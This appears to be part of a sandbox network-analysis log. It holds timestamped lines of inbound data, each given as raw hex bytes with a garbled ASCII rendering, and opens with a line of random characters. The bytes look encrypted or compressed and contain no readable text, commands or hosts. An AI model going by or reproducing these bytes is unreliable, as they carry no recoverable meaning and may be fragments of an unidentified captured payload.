DP97X$t9YV/,;{xpfC)L[.\|%x?`F+LIJ~7\|4}VDmV=$5Dlk_^j;/oyM\|oSx(twnVe-[iH0/ju<Zk3CDL
2022-12-05 14:13:35 UTC	135	IN	Data Raw: 36 68 d4 8d 32 f0 76 14 0b 17 e5 bb 85 50 31 4a 4a c3 dd 2b 8d 0f bf 41 61 64 b6 94 dc 69 e5 85 42 d4 61 e8 5a 06 41 6c db 91 1c 86 30 d4 3e 7f 20 3e 5a 24 b9 cc 39 c1 ec a9 55 eb 55 a6 c0 10 4f 48 f5 f8 1a d1 22 ea 0b f9 3f 89 18 a8 38 e4 55 a7 39 29 4a 82 13 62 e8 ca ca d7 38 d0 3c 57 25 74 74 d0 cf 52 38 04 ce 21 96 86 a0 7e e2 58 40 ae 13 b9 31 16 c8 d3 4e ea b4 67 f9 14 b5 b9 7e 27 a3 0a 34 3f 3b 03 e9 fc 9d 78 77 9e 11 4b b0 44 bb 85 5c 6f 6a d3 88 1d c5 9d 51 a4 25 00 7e e1 f9 08 04 63 35 e6 79 d5 1a da 08 b2 d6 e9 06 f6 92 e7 30 c8 4d 65 3b b0 a5 aa fd 5d 77 9b ae fd 13 cc 09 f6 cb b8 d6 f4 d0 a8 ae 1f 8c 49 f7 ce 5c 4d c5 eb 1a 64 3b e2 92 49 9d 06 40 e7 b5 da 85 e4 ae 29 34 0c 41 1c f5 5d 35 55 31 f6 3b 8a e7 df c9 9a df 74 98 b9 4b 86 b9 60 0c Data Ascii: 6h2vP1JJ+AadiBaZAl0> >Z$9UUOH"?8U9)Jb8<W%ttR8!~X@1Ng~'4?;xwKD\ojQ%~c5y0Me;]wI\Md;I@)4A]5U1;tK`
2022-12-05 14:13:35 UTC	136	IN	Data Raw: 29 f0 f4 37 87 cf f9 3d a6 45 2e 1d f1 f6 f5 10 6f 4b ae dd 95 cf f2 0a 3c ee 86 b7 c7 d7 0d 88 37 5a 33 63 da 47 6b e8 58 b9 3b e3 46 56 95 d1 91 3c cf 94 49 d6 9d 75 fb ad cb 97 b2 08 14 0f e8 d4 4f ec e4 6d b6 ac 96 e6 d6 67 ed f5 91 ab aa 72 95 ba 0b ef a5 8e 6e 7d 9f 10 c9 d7 f6 26 d8 69 2a ae f4 3a 53 ef 36 4f 71 99 60 33 3e 32 31 2e ce a0 07 c5 79 92 3a ca 6b 7e f4 48 a8 ce 3f dd 3a e7 20 90 14 2b fa 60 2a ec e6 c6 e4 cc 84 5d c5 54 01 b3 71 e9 91 f2 54 7c 2c 2f cc da 13 0a c6 ee 24 8f 9d 8a bb 39 9f 2f 50 8e 72 43 13 82 d5 79 1e ed cb dd bb ea 47 5c 89 85 64 95 4f d8 1e 4f ae a7 52 c2 30 37 04 96 79 29 e3 da fc 9b 3c 88 e0 0f 21 05 0b 77 a6 d3 36 7a e5 11 0f 34 10 e8 1b 3a 18 5e a1 ae a3 21 03 19 cb c2 11 4a 30 68 9f c5 85 01 ad 6d 7c 02 b9 c9 ef Data Ascii: )7=E.oK<7Z3cGkX;FV<IuOmgrn}&i:S6Oq`3>21.y:k~H?: +`]TqT\|,/$9/PrCyG\dOOR07y)<!w6z4:^!J0hm\|
2022-12-05 14:13:35 UTC	137	IN	Data Raw: 07 54 49 1b e3 b9 6b 8a 2d 6a ab 9e 84 31 d8 c1 64 83 6a 32 f7 0a f3 b0 b6 d2 c4 45 5b 31 19 04 fc 99 62 95 b8 70 2d e7 15 08 90 ef 87 b6 33 7d 5d 50 35 d0 3c 09 c4 e1 0e 03 5a 61 9e c0 41 b2 da 8a f9 43 74 3d 91 d6 37 3a 12 bd d8 13 17 08 1e df a2 95 c2 dc c9 3f bb e4 aa 9f ce 08 2e 1d 19 86 51 36 83 28 a1 dd f1 1e dc ad 59 36 d7 46 fa c5 a3 01 71 0f fc 0f 7c 63 cb 63 38 3e 40 70 b4 08 15 55 71 86 1a 39 5f c6 cc 91 2a a7 0b 74 81 66 d6 90 55 65 0a 38 d0 6a 0a 7c b7 88 13 a7 72 dd 1e 5f 4f c4 05 e9 94 2b 2b 31 7a ff 6e 28 92 41 87 e2 b7 38 b1 2c f4 da 6c be 67 4c 4a ab c2 cc 1b fe 1f 81 0e 8c 49 52 f2 69 e9 a4 93 4b 32 06 8b b3 5a 93 b7 f1 ea ee 02 1e 63 ce b0 74 ef 8d 1f 47 75 b1 25 13 80 e7 e3 33 9e a5 d5 de e0 c0 75 00 65 d9 e3 f1 ae a8 aa 7f 25 31 28 Data Ascii: TIk-j1dj2E[1bp-3}]P5<ZaACt=7:?.Q6(Y6Fq\|cc8>@pUq9_*tfUe8j\|r_O++1zn(A8,lgLJIRiK2ZctGu%3ue%1(
2022-12-05 14:13:35 UTC	138	IN	Data Raw: 44 6c 22 19 86 30 85 45 69 70 75 10 e9 1f 0e 0e 28 b5 99 6d c5 bc ca 87 05 07 74 a8 a0 7f 7a aa 13 cd 96 59 8d 24 b2 1d 5e 7c 7a f3 23 d2 44 45 60 ae c4 82 bf ce 42 28 8f 0f 09 81 93 be 9a f9 c2 5b db 61 85 b7 be 0f ef 88 ad 4f 11 e3 04 44 3b a5 32 34 17 c5 56 b0 bd fd bb 80 fe 78 b4 1f 78 8d 76 3d 6d 69 fd 06 0f 46 fa bb c8 1b 8b 29 af 0c 2c 13 42 57 3d e5 c8 3c fc 0a b2 56 db 84 a3 69 c3 da e4 cc 70 c1 35 79 79 05 90 21 90 54 93 1a c7 8e 71 d3 20 58 2d dc 07 25 39 29 00 d8 e3 e3 56 05 22 14 b4 16 bd 1e 0e 36 96 df f6 3e ad c3 0e 0a 05 82 4a 43 1c 17 7e 24 bc 5f 00 11 c9 06 05 a8 84 41 e3 ba 71 21 12 ea 7b 28 3f 46 56 d6 da 89 c4 f0 1b 0f f6 26 20 43 e2 08 2a 3d 50 19 7f 8f c8 7a 14 3b e5 7b b6 a6 55 a0 7f 4e e2 d9 b7 9b 8e e4 a0 30 71 0b 26 58 5d bc 14 Data Ascii: Dl"0Eipu(mtzY$^\|z#DE`B([aOD;24Vxxv=miF),BW=<Vip5yy!Tq X-%9)V"6>JC~$_Aq!{(?FV& C*=Pz;{UN0q&X]
2022-12-05 14:13:35 UTC	139	IN	Data Raw: 66 a3 32 bb dc bf d6 ce b7 de 41 0d 5c ee e4 9c 9c 92 bd 66 cd c3 28 b0 c8 e8 76 34 c0 e5 61 26 dc 1e 10 e1 33 87 e1 1b d9 08 a2 44 7f e0 7f 77 6a 48 4d eb b4 40 00 37 2f 54 e0 28 49 62 c3 da ec 11 d4 af 86 64 75 b4 5c 57 2c 5f 52 99 1c 39 e6 bb 4c 26 01 22 b7 18 86 e1 cf ec 30 a0 1b dc 3f 13 3b d0 da 92 91 1a 5b 56 8f 7a 70 6a 2d 45 a0 4a d4 4d 37 99 0e 21 a2 b3 fd a5 eb 24 27 77 e9 2a 48 aa 7d ab 6f d5 9a 9e ea 46 fb 29 6c da 9c 45 ca 66 c2 fb 47 79 97 a4 29 cf 86 19 74 0a 37 8b 22 7f b8 14 da 7a 7a 02 4e 0e 9f 7b 90 bc e9 c1 7c 5a db d3 2a 34 72 84 85 70 0c 77 49 85 d5 e8 e5 5f d9 a0 82 7d bd 41 43 16 a0 99 eb 28 a9 19 cb 0a 24 0c 81 3f 97 a9 cc c7 2f 74 f2 9f 57 2b 0c a4 55 da 5f 01 7f 52 6c 7b fb 84 46 a4 a2 74 f3 4c 07 82 dc 17 0f 78 05 b6 f8 d7 37 Data Ascii: f2A\f(v4a&3DwjHM@7/T(Ibdu\W,_R9L&"0?;[Vzpj-EJM7!$'wH}oF)lEfGy)t7"zzN{\|Z4rpwI_}AC($?/tW+U_Rl{FtLx7
2022-12-05 14:13:35 UTC	141	IN	Data Raw: 35 9c 93 68 6b 2c 45 a0 50 3d a3 8b 8c 26 b0 e7 2c 4e 87 c0 7e 60 08 04 f8 2d 64 bb 4a 9c 94 2b 48 aa 64 29 df 32 e3 83 16 87 85 da 04 ae b9 aa 12 28 19 ab 24 43 ff f5 bb 64 46 94 3e b8 22 d3 f8 81 0b 69 f1 a5 36 17 fe fc 79 62 40 2b 7b 52 b0 14 44 d9 bd cc b6 ec d0 86 17 12 62 c7 c4 10 f2 7d 93 ca 6f 5f 73 75 25 93 61 67 3a c5 79 6f 41 37 2b de 39 dd 51 7c 3a 81 2c 79 08 94 46 33 57 96 71 28 4d d0 42 c5 50 37 95 2f 13 23 2e 55 6f 49 81 49 83 df b3 62 04 77 dd 36 65 33 12 9f 63 1a 37 20 d4 60 fc 60 31 59 c1 94 74 c1 37 5e ef 69 83 1f af 6e a3 73 aa fe f1 c0 16 bc ee 7f 77 ad ae c9 2a 34 e5 7d bf de bc 14 17 ab ec 9c 23 00 9c 16 06 a2 9a 70 e0 79 57 0d 56 38 5e f1 d6 b8 41 37 f5 84 73 f7 67 35 0e b3 f8 c7 b3 54 5c d2 c7 b2 82 f5 22 55 69 a4 f5 52 b0 ad 48 Data Ascii: 5hk,EP=&,N~`-dJ+Hd)2($CdF>"i6yb@+{RDb}o_su%ag:yoA7+9Q\|:,yF3Wq(MBP7/#.UoIIbw6e3c7 ``1Yt7^insw*4}#pyWV8^A7sg5T\"UiRH
2022-12-05 14:13:35 UTC	142	IN	Data Raw: e8 e1 f5 f0 a4 c1 a4 03 76 a2 b5 0e 38 36 ef 22 e0 b8 fa a7 70 07 c1 97 82 b2 23 9a 27 cb 05 19 65 94 b0 b0 87 94 7e 84 1d 12 dc d6 dd 32 7f ad 52 c2 ce 8f d6 b3 a5 75 42 79 0a a8 3e f4 12 06 36 95 a5 62 2e 42 86 57 e7 ae b1 04 df cd 69 bd 43 98 9d bc fc 7b de 56 65 12 aa 6d 17 89 2d cb 9f de b1 b8 e4 46 e2 26 bc 92 55 15 a2 0c 34 00 eb 1c 1e 7c a4 c6 08 3c 5f a3 72 a6 16 e0 3c 0f 4c 75 ce be 43 6e f5 4e a1 be 02 8d 90 64 4c 66 d8 fb 23 9d f7 9e 94 27 03 6b a7 e9 df 33 d8 5d 27 78 c9 86 49 79 78 e1 6e 01 ae 9f b0 59 7d e6 72 5f 7d f0 25 a4 8d 02 bc c9 6d 66 58 1e 8f 5e e1 2b ba f8 5d fa f5 19 93 22 66 9d 05 81 15 b2 cc 81 6d 06 97 ba 19 3e ed ba 73 d9 bf 50 e6 9d 17 e5 84 b3 4c d1 e8 a0 b8 46 ec 61 0b ae f4 a0 f6 38 04 e9 12 be a8 b2 63 c1 6e 43 1b 52 00 Data Ascii: v86"p#'e~2RuBy>6b.BWiC{Vem-F&U4\|<_r<LuCnNdLf#'k3]'xIyxnY}r_}%mfX^+]"fm>sPLFa8cnCR
2022-12-05 14:13:35 UTC	143	IN	Data Raw: fe 9d 47 31 96 85 96 b2 99 45 79 ab b1 66 df 12 b9 97 43 a0 e7 20 f7 ed 58 6f 3e 51 7e 07 e4 53 78 4b d9 11 4c 15 85 8a a2 a3 58 ef 4b 33 c8 ef ec 4f dc b9 76 df 94 6f dc 02 98 e5 e0 e0 82 f2 f9 8b eb c9 72 dd 33 c1 26 e5 0d 54 79 f2 53 8e 4a 76 87 a5 0d 82 ad 3e 21 89 ec 5c a3 b9 62 b5 98 7d e5 17 5a d8 cf e8 e3 ea 24 88 c6 cb f8 1a 40 dc 92 16 74 59 4d d6 4b fe 9a ab 15 65 de fb 46 fb f6 6a 4e fc 1a 22 bb 74 06 a6 c0 7e 94 3a 34 1e 20 29 31 f1 b6 36 de f8 e1 49 20 2e 7c 71 52 04 ef ce c8 f5 d7 93 8d 59 15 a2 0b 39 01 4f 7b 94 12 31 c1 8c 6d 62 a8 9f 1f f6 a8 9d 7e 3f 74 f2 75 26 f2 de e1 fe 8d 7b 3e 7f ce b5 84 99 a6 b9 0c b1 bc 4d b9 58 7b ed f8 59 9e f7 48 09 76 20 b2 e6 ad 71 01 cf 50 34 55 28 81 93 c6 2b 5a 45 59 56 34 61 46 7c 90 45 da 74 53 a2 bf Data Ascii: G1EyfC Xo>Q~SxKLXK3Ovor3&TySJv>!\b}Z$@tYMKeFjN"t~:4 )16I .\|qRY9O{1mb~?tu&{>MX{YHv qP4U(+ZEYV4aF\|EtS
2022-12-05 14:13:35 UTC	144	IN	Data Raw: ce f6 5a 56 b4 b3 7b 99 d0 14 33 6c e7 2b a6 19 07 e6 3c 6e 04 f2 0d 10 2b f3 5d 91 8f 31 83 ac 8c 86 fc d4 07 ba b9 df ed 22 60 97 8c 41 9a 20 3b a6 be e4 d7 91 65 cb 9d 5a cf 6f 99 01 5d 15 93 ab f5 39 ff a5 3b 95 b7 6b 2d e2 5a 41 46 ce 88 99 a5 31 cd f9 97 21 6e 2d cd 2b 79 2c e5 6c c3 74 64 bd 56 12 1d b2 e2 b6 97 dc 45 6d 79 73 3b 61 70 95 36 f6 0c 0b a3 27 6a d6 ae af 0e 55 c9 ac 04 1e 0b 7d 50 fa b7 04 bb c6 1c 0e 21 7f f7 0d 59 d3 1f a1 c7 3c f9 53 03 c3 7d 24 44 5b 6c ea 52 55 77 7f 40 d1 f3 3f 6d 36 c6 9d 40 85 28 9d 76 9c 84 be d0 19 17 6e 27 cd 90 f2 59 38 ea 1a 1c f4 dd 48 f1 09 75 84 26 2d f1 1a f5 4f 83 a4 38 6e 05 67 f7 69 64 7c d8 7e 48 26 20 c7 55 0d bc ed 6c f9 3d 29 fe b9 29 72 ea 09 4e 1c e5 65 d2 a6 0e 73 b6 8d cf 05 e6 5d 4f ba d6 Data Ascii: ZV{3l+<n+]1"`A ;eZo]9;k-ZAF1!n-+y,ltdVEmys;ap6'jU}P!Y<S}$D[lRUw@?m6@(vn'Y8Hu&-O8ngid\|~H& Ul=))rNes]O
2022-12-05 14:13:35 UTC	146	IN	Data Raw: f4 0b d4 69 0c 7f 18 70 8e 1e 50 ba 87 4b 64 3c 44 63 c0 42 df e1 ed 69 e6 2d a1 c2 c9 6c 07 68 4b a0 29 1f ef 56 35 ac 6c b0 ef 43 60 8b 67 6d 75 f1 d0 a4 97 cf 9c a7 e4 88 0b 8f 92 04 1d 9d 32 44 7d 87 0b 71 70 48 26 e8 ab d5 d3 a9 6b 2e 1a 4d ba 42 66 ae 52 99 74 91 66 d4 17 06 c2 e7 22 94 ed b0 2f 71 f2 56 ad 18 f8 5a Data Ascii: ipPKd<DcBi-lhK)V5lC`gmu2D}qpH&k.MBfRtf"/qVZ
2022-12-05 14:13:35 UTC	146	IN	Data Raw: bd 54 29 6d 95 de 8b 84 c1 59 7c 68 69 44 8a 84 f7 54 3e 43 f4 1b db 1b f5 32 3a 7e 04 09 d6 f3 d4 40 b0 88 49 81 e4 7b ca 3d 54 05 e5 8b a2 29 7b 47 bc 52 39 3b 6d 5f 4f 84 94 c3 bd 95 79 f4 97 4f 56 4b 2e 74 59 af d1 6b c9 34 a1 7e 36 0e 6b 38 46 67 83 fb 51 2d 83 cb a8 40 85 0d 29 20 3e 55 ce d2 a1 20 5d d1 55 b8 45 d0 76 4d 2f 72 09 1b 1d dd 58 61 ba 6f 8a cc d9 3c 83 4c d8 90 f4 b8 4c 79 56 75 02 81 69 5c 83 46 bf 9f b8 fd d7 45 3c c1 97 95 7f 50 9c bc fc 3a f9 4b 18 51 40 39 8c 27 32 f0 04 a4 9b fb a2 15 2b dd 89 28 5e 58 77 86 34 b9 e6 42 af 59 de bb a9 32 1c 0c 95 92 22 e5 fa 3b 62 22 40 ea b5 e4 d5 9e a1 db b8 72 0e 78 8b b1 68 fa a0 57 84 5e e0 4f b5 f0 54 d3 b9 10 a8 52 e4 f3 46 38 3d fc 25 84 df c7 43 8f f9 ad 5c 36 03 18 9a cc ed b6 cc ce de Data Ascii: T)mY\|hiDT>C2:~@I{=T){GR9;m_OyOVK.tYk4~6k8FgQ-@) >U ]UEvM/rXao<LLyVui\FE<P:KQ@9'2+(^Xw4BY2";b"@rxhW^OTRF8=%C\6
2022-12-05 14:13:35 UTC	147	IN	Data Raw: 8c e5 17 b7 d4 d9 db 9d 06 00 8f c5 e2 a5 c2 79 f0 c7 23 99 aa fe 57 7e e8 b0 71 cd d1 bb bd 48 1e f3 d3 36 6b 3a 82 49 34 fa d2 d4 5e 8f 0f 81 4a 99 b9 6c 5d c4 9c 8d a5 b6 0b 4e ad 21 b9 a6 43 c7 10 b8 71 c0 ee e4 e6 ec 16 27 35 ea 01 ba 3c 99 8f 66 c1 f0 be 2a e8 96 a6 8b c4 86 d2 9c f8 d8 fc e4 45 4c 15 f7 c3 5f 57 48 54 ff 15 24 52 3b 03 34 4b 0b 97 55 3e 40 0d 87 ba 00 c3 95 de d6 55 8d 6c 22 2a 2a ae d7 f2 37 6b 9e 0e 59 78 77 54 3c 52 05 d2 2e 8f ac d0 b7 29 6e f0 63 fe 00 bb d4 39 1f f1 91 e8 00 d9 01 a3 7a 3f 09 ad ee 33 8b c5 94 57 1c 7e 50 11 94 e6 1d 6b 22 bb b0 38 40 84 a8 8a ac 42 93 00 de 6d a7 e1 78 86 fb 80 bd cc 9f 7d bc b3 26 38 61 7b 46 a5 ae d1 1e 46 58 49 70 c1 fa 1f 00 4e 49 5b 92 af 78 17 b1 59 bf 89 d7 06 ba 06 54 09 de 84 77 d5 Data Ascii: y#W~qH6k:I4^Jl]N!Cq'5<fEL_WHT$R;4KU>@Ul"*7kYxwT<R.)nc9z?3W~Pk"8@Bmx}&8a{FFXIpNI[xYTw
2022-12-05 14:13:35 UTC	148	IN	Data Raw: 9d 88 46 47 41 aa ae 6a eb de fb b6 cb 90 32 11 6a 13 3a a8 49 3f c6 79 47 39 7b a4 04 f1 49 47 36 85 f9 68 91 0d 72 af fa e6 62 27 d0 5e f9 95 7c c7 5b 68 a0 e5 a1 a3 bf ec d9 ad 1e 6d bd cd 09 18 b2 3c eb da 46 f7 cc d4 ea e6 50 38 96 2b 69 96 63 88 c8 77 98 0e c8 03 d8 49 27 46 e7 9b 95 69 0a bd e7 db 68 6e 8f b1 9b 28 86 cc c8 96 14 9e 14 a0 72 76 25 45 15 86 de 68 a4 a1 5d 5a 88 43 82 be bb fa e6 81 0a 92 03 66 fd dc 2f ad fa 6a 9a 90 38 42 47 94 11 25 e8 12 d4 86 36 82 1f 73 43 79 2a f8 43 f8 3e 03 1d 02 b3 77 16 6d d5 a6 c6 43 07 5d 41 c7 46 36 9b 36 b1 fb 44 dd 77 ee 41 61 05 b0 00 8c d3 83 18 0c f6 58 4d f6 d1 f3 dd 36 71 3b c7 13 64 77 12 47 aa 52 69 e0 45 07 a0 32 79 0e 03 fd 12 28 52 d4 a0 ed c4 fd 20 8f 5d c4 3b 6b 75 4c ff b4 47 26 67 e4 04 Data Ascii: FGAj2j:I?yG9{IG6hrb'^\|[hm<FP8+icwI'Fihn(rv%Eh]ZCf/j8BG%6sCy*C>wmC]AF66DwAaXM6q;dwGRiE2y(R ];kuLG&g
2022-12-05 14:13:35 UTC	149	IN	Data Raw: e5 2a a5 d9 c4 e2 a5 ce 46 4b 90 26 72 0a 89 c2 5c e2 17 61 0a 9f aa 64 38 15 62 20 07 1c 63 ca 4f 17 2a f2 91 97 93 ef e2 67 b0 ef cf e3 18 6f 63 84 6b a5 33 65 e1 db c7 41 4a 40 e9 55 50 40 07 de cf 00 62 d9 ad 75 51 17 6c db e3 9e 7b b2 4b 98 e4 d0 3b 64 ca 92 b3 1e 57 76 c8 39 28 18 9a 94 7e 22 09 bc cd 48 34 90 1b d0 c1 5e 59 83 5d be 56 f9 d9 11 f9 4c 69 f8 cf 1f 82 6d d1 11 82 5b ee df 28 f2 f8 3d 76 d6 fd 80 76 2f 32 e1 e2 41 b8 8f 24 a2 d4 11 e7 47 fd 67 59 77 9e c9 10 2e e5 49 11 5a 7f d1 84 38 ce 6f 75 82 ec c2 8e e6 99 8f f5 83 06 9c 6e 90 4d b5 49 b1 f0 2f 14 4b ea de 5f 29 13 d6 2a ab 5e e1 c0 19 2e eb 7f 90 d2 36 9c 64 8a 7e 6c 91 b7 34 93 8f 43 2d 3a 07 46 b1 a7 67 f8 5f 3d 3c c4 e3 03 ec f9 61 43 ab ba e3 7b 61 0c 23 8b 93 86 d8 17 52 4a Data Ascii: FK&r\ad8b cOgock3eAJ@UP@buQl{K;dWv9(~"H4^Y]VLim[(=vv/2A$GgYw.IZ8ounMI/K_)*^.6d~l4C-:Fg_=<aC{a#RJ
2022-12-05 14:13:35 UTC	151	IN	Data Raw: 19 dd 76 b8 00 f9 b1 dc a4 53 b4 8a 75 7b 24 9d b6 d9 54 86 96 06 65 c3 d0 7c 3f 8c ab 0b e0 50 13 e3 bb 56 56 e1 20 36 c3 3f bc 38 37 26 05 e0 17 a2 f7 d4 ce 36 1a bc 33 b7 34 eb af 3d e1 94 79 0e 2b e6 3e 26 29 d1 98 15 08 1a c1 9a 9b ff 68 1e 5c 4a 80 a6 c1 dc a4 f5 c4 43 1d 1e 6b cc 27 47 38 a6 4e 54 d2 ec 2e 1b f0 9c 11 71 56 69 9e c5 4d 4a 23 c0 b8 29 d2 16 71 8d 3e e8 84 41 28 1a bb be 6c db e0 26 88 a3 68 6c 06 23 e7 a4 07 ba 58 4a c8 3a 10 d7 6f 72 bb ee be e9 76 3d 99 09 1c 97 a3 ff fd 30 05 9c 03 9b 33 40 3b 77 af 1a 2e db c0 e6 70 bd 29 06 dd 24 bc 8d dd e3 40 62 cd 41 69 7e 57 5b 5c 5a 6e 5d 79 96 e3 0e 30 ca 1f 2a 1e 33 3c 7a 0a 77 86 91 28 56 bb 92 0d af 6a 99 c7 87 cf d6 2c 6c 92 a8 80 6e 2b 6c ef d3 26 9a 41 e7 44 75 73 d9 d5 ca fa 59 e5 Data Ascii: vSu{$Te\|?PVV 6?87&634=y+>&)h\JCk'G8NT.qViMJ#)q>A(l&hl#XJ:orv=03@;w.p)$@bAi~W[\Zn]y0*3<zw(Vj,ln+l&ADusY
2022-12-05 14:13:35 UTC	152	IN	Data Raw: 6d 38 1d 33 c4 7c 63 a8 f7 ae 74 61 39 3e 94 3d 93 f0 9b c5 81 5f cb 65 5d 97 bb fe 2d dc bf f2 b3 f1 7f f2 cb b9 27 9d b5 0c c7 61 dd 1b 47 fc 4b 61 27 38 a3 75 08 36 e9 c8 b2 d6 56 e5 05 6f 3c 28 11 69 00 57 ef 42 48 70 c0 74 19 4d 4a ca 25 54 85 47 ec af fb 16 ba e6 2a 8f be b4 2c 10 cf 9d db ac 00 27 e0 25 b5 c0 89 a6 1c 7d 39 9f 21 68 97 f7 0c 41 42 29 db 15 88 52 07 cb 89 39 c8 b0 2a a0 a3 a0 70 12 a0 ef 37 1a 1d 0e 27 48 8d 60 21 17 7b de 82 4f 49 2e 7f 7f 1c aa 17 27 9b 07 01 cb cc 79 47 33 48 e6 d9 58 12 c9 2a 2e 80 08 96 64 b7 62 fb ba 7b d9 84 07 49 80 a3 5e 64 c5 fb d1 19 bc 5c f1 e3 05 ac 95 36 6e f1 e5 a8 5c 2d c8 ca 8d 21 83 49 a5 8f bb 59 7d e1 b4 b7 2e bd 7f 8a ee 5c a9 14 25 6d c7 80 cb c9 1b 6b 27 f0 fc e3 76 98 c4 e1 20 bd db 69 8e 07 Data Ascii: m83\|cta9>=_e]-'aGKa'8u6Vo<(iWBHptMJ%TG,'%}9!hAB)R9p7'H`!{OI.'yG3HX*.db{I^d\6n\-!IY}.\%mk'v i
2022-12-05 14:13:35 UTC	153	IN	Data Raw: eb 21 ca c1 bd 48 55 9c 6f 47 e3 1c 3b dc aa 0a 89 f4 8a 56 8e e7 20 e8 26 d8 71 8d a2 e3 80 bf 20 e2 1a 92 e2 ad 86 bd f1 f2 ba 80 ea fd c4 f1 9b 87 59 43 e3 d1 2e 1d 56 26 a9 9b c5 03 5d 44 c2 ed de a8 fa 5f c9 ff ff da a6 a2 62 d1 b6 3e 07 97 6d a9 65 37 ac 10 ea 55 57 9d 9f 03 72 7b 6b ed f3 78 fd b6 0f f6 e3 9b f2 47 ad 71 7c 7c b7 15 8b e3 99 47 e3 24 c3 4c dc 3b c2 72 de 7a 12 1c ad f2 9a 4f d1 80 a7 ba a5 5d 72 bb 78 bf 30 1c 75 d6 fe 12 2c c9 13 a3 bf ef 95 7f ea cd 24 51 5a 86 45 1f d8 d5 47 2c 8c 83 62 87 b2 7e 86 2b a8 be 49 9c 74 74 51 a7 d4 ec fe 74 5c 9a 0b 66 ce a2 82 62 9b de 26 a3 64 69 a9 e2 59 c8 6f b7 e6 10 0b d1 48 a0 5c 4a c0 7d 67 34 f7 ca cb 80 54 5e 2b 5f 4e c4 93 d0 df 93 a7 b5 36 56 7b 60 c0 69 66 ea 13 c0 25 0f b6 5c dc a8 74 Data Ascii: !HUoG;V &q YC.V&]D_b>me7UWr{kxGq\|\|G$L;rzO]rx0u,$QZEG,b~+IttQt\fb&diYoH\J}g4T^+_N6V{`if%\t
2022-12-05 14:13:35 UTC	154	IN	Data Raw: 24 b9 97 b1 0c 98 18 94 db 35 af b6 30 ab 58 33 6d b4 f8 53 6d d0 ad 14 44 83 d0 87 7f e4 95 98 9b 7a 15 00 ba e4 8c 4b 28 e9 3b 44 17 47 2f 80 0a 6e eb 2c 8e 8d 37 f6 e8 8f 1d 9c a7 53 c9 8b 34 97 db 7e ce 14 a5 6a b4 23 a4 5d b6 5b b9 a8 2e c7 f6 4b 75 a8 f3 40 28 0b 61 99 8b f2 5f 6e 81 ff 02 c4 a1 84 82 34 47 9f 53 14 94 60 e3 31 78 ce 55 37 97 2d d7 de 76 bf 7f ff b7 93 27 8c 53 9c f6 cd 17 91 44 11 22 2f eb dd 23 63 aa c2 19 55 ff e0 84 2e 98 e1 b2 d4 16 04 37 85 fb 2a 6f 2d 71 e6 ae 88 01 5e c2 40 79 c1 f8 54 12 06 20 55 2a 52 51 e3 d4 5b 28 d0 aa 93 a8 19 df c7 92 2c 44 a1 31 95 0f 4c 80 38 5a 7e 39 44 a7 66 8d 79 8d a4 2e 3a 1c a4 6c 00 22 6e 70 50 28 78 2e 90 ab bd 9d 63 5c f0 30 e6 41 5e f6 ab c8 d0 3b 77 f7 c8 01 0d 7a f3 e0 94 91 30 dd db be Data Ascii: $50X3mSmDzK(;DG/n,7S4~j#][.Ku@(a_n4GS`1xU7-v'SD"/#cU.7o-q^@yT URQ[(,D1L8Z~9Dfy.:l"npP(x.c\0A^;wz0
2022-12-05 14:13:35 UTC	155	IN	Data Raw: 4a 50 8d be c6 78 45 c0 ee 92 db e7 2c 1e 4f 10 1c 13 7f 9c b5 37 b8 cf b3 10 49 7b 4a 97 1d fc f2 91 04 24 5b f1 31 fe 6f 18 24 5d 52 86 c7 07 0b 82 5f 38 cc 54 ad c7 01 25 ce ca 48 fd 26 cf 60 65 8c 73 13 30 4c 7c a3 2f fa c8 1f 4b 3d c9 84 0c ee a7 da 79 cf 18 bb b2 ef 8a 5a d0 0a 53 93 94 68 27 8b 67 a7 19 1a b2 ad ad b4 b4 aa 6b 02 c0 06 05 19 8c 26 4f f3 05 ea d5 1f f3 22 82 2d 04 82 6a 7a f7 93 a2 29 f3 e3 51 38 5a ce 78 03 5d 2b 67 6f 4c e9 ad 3b 56 3c c4 72 2f ef 89 f1 1d ca 60 b2 b4 09 01 26 56 4c 85 33 69 92 d9 82 90 43 52 d4 8b 18 1b b4 9b b7 bf 52 50 85 a7 02 7c 34 2a b4 35 d6 15 88 1f d9 74 a0 7f 51 1a aa 61 c2 b5 d0 ff a0 d7 9d 56 6e 08 61 64 b5 58 72 ad 34 e4 06 90 b2 d6 dd 70 90 39 7e 7f 0c 5f 66 97 18 15 5e 2f 37 f5 77 8c b9 bc c7 7d 47 Data Ascii: JPxE,O7I{J$[1o$]R_8T%H&`es0L\|/K=yZSh'gk&O"-jz)Q8Zx]+goL;V<r/`&VL3iCRRP\|4*5tQaVnadXr4p9~_f^/7w}G
2022-12-05 14:13:35 UTC	157	IN	Data Raw: 81 24 bf 81 b3 25 14 f0 40 c4 c3 3e 4d a9 df dc 70 9b a1 42 91 db 77 64 21 cc b7 74 1b 37 8d b7 ef 1a d7 ac 59 5a b0 9a 9b 1d cc f6 2e 0b af 4d 78 70 c2 ad 3a 44 00 ff 7d 9f b4 47 ed 9e 22 13 56 3a 46 d2 30 2e 69 1f eb c0 85 00 22 7c e0 3d f3 4a 20 9c e7 02 9a 77 57 f3 00 45 70 61 ce 22 bb 7c 79 2e a6 5e 13 15 af 57 03 2f 33 83 e9 be 1b 29 d6 04 94 5b 3b ff 39 af 0f 83 76 7e 1b 48 31 43 5e a0 7c f0 62 c5 ac a2 4a e1 19 41 72 45 42 59 42 e3 f7 22 2e 0f 2a 04 24 5f e4 9f bb 0d 67 8e e6 dd ae 37 43 b4 1c 5f 98 5a 70 e6 ef 7f ec 44 f1 48 35 f7 15 5d 75 d1 a4 d0 5a 8f cf 75 7a 78 04 ce 77 00 6a ef f5 19 c8 4c 0d af 34 ac 69 06 18 20 4f 11 a0 fb 9a df 1e af 91 b1 4a d0 6a ba 28 41 e8 1a 06 9d b8 14 16 c9 4a 60 40 1b 71 82 ef 52 b5 24 83 90 4f c3 4d 6d 4f c5 be Data Ascii: $%@>MpBwd!t7YZ.Mxp:D}G"V:F0.i"\|=J wWEpa"\|y.^W/3)[;9v~H1C^\|bJArEBYB".*$_g7C_ZpDH5]uZuzxwjL4i OJj(AJ`@qR$OMmO
